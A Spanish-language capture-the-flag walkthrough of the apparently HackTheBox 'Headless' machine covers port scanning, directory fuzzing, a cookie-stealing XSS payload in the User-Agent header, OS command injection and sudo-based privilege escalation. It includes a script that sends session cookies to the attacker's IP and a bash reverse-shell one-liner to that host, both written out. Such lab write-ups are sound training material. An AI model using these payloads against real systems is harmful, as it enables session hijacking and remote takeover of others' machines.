Reconocimiento
Nmap
Escaneamos la maquina para ver que puertos tiene abiertos;
nmap -p- --open --min-rate 5000 -Pn -n 10.10.11.8

Vemos que tiene el puerto 22 y 5000
Suponemos que el puerto 5000 es de una web, vamos al navegador y ponemos la ip con el puerto 5000:

Vamos a hacer fuzzing para ver que directorios podemos encontrar:
Gobuster
gobuster dir -u http://headless.htb:5000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20

Vemos 2 directorios vamos a ver que tiene cada uno:
/support:

Muy interesante esta página podemos enviar información
/dashboard:

Podemos ver que aquí no tenemos permiso de momento
Intrusión
Hemos visto que en /support hay un panel de soporte para enviar información, vamos a intentar un XSS para intentar robar alguna cookie de sesión:
Primero nos abrimos un servidor en python para que nos llegue la cookie:
python3 -m http.server

XSS
Ahora definimos el XSS:
<script>
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.15.68/?coockie=' + document.cookie);
request.send();
</script>
Con todo esto vamos a intentar robar alguna cookie:

Que interesante nos ha bloqueado estas entradas para el XSS
Vamos a pasar la petición por Burpsuite:

Visto esto vamos a intentar el mismo XSS pero en los demás campos:

Hemos probado en el User-Agent y nos ha llegado la cookie al servidor:

Con esta cookie de sesión vamos a probar a entrar al /dashboard:

Efectivamente tenemos acceso
Explotación
Ahora que somos admin vemos una nueva pagina, vamos a pasar la petición del botón por Burpsuite:

OS Command Injection
Por la estructura vemos que puede ser un OS command injectionen el apartado de date, vamos a intentar ejecutar algún comando:

Efectivamente podemos inyectar comandos
Con esto vamos a pasarnos una shell:
bash -c "bash -i >& /dev/tcp/10.10.15.68/443 0>&1"
La url encodeamos:
bash+-c+"bash+-i+>%26+/dev/tcp/10.10.15.68/443+0>%261"
Primero nos ponemos en escucha por el puerto 443:
nc lvnp 443
Tenemos acceso!
TTY Upgrade
script /dev/null -c bash
^z
stty raw -echo; fg
reset
xterm
export TERM=xterm SHELL=bash
Ya tenemos la user flag:

Escalada de Privilegios
Ponemos sudo -l para ver si hay algo que se pueda ejecutar como sudo sin contraseña:

Efectivamente vamos a ver por dentro ese programa para ver como poder inyectar una bash:

Ahí podemos ver que si no hay /usr/bin/pgrep se ejecuta initdb.sh, vamos a poner /bin/bashdentro de initdb.sh y permisos de ejecución:

chmod +x initdb.sh
Ahora vamos a probar de ser root:
Ya está!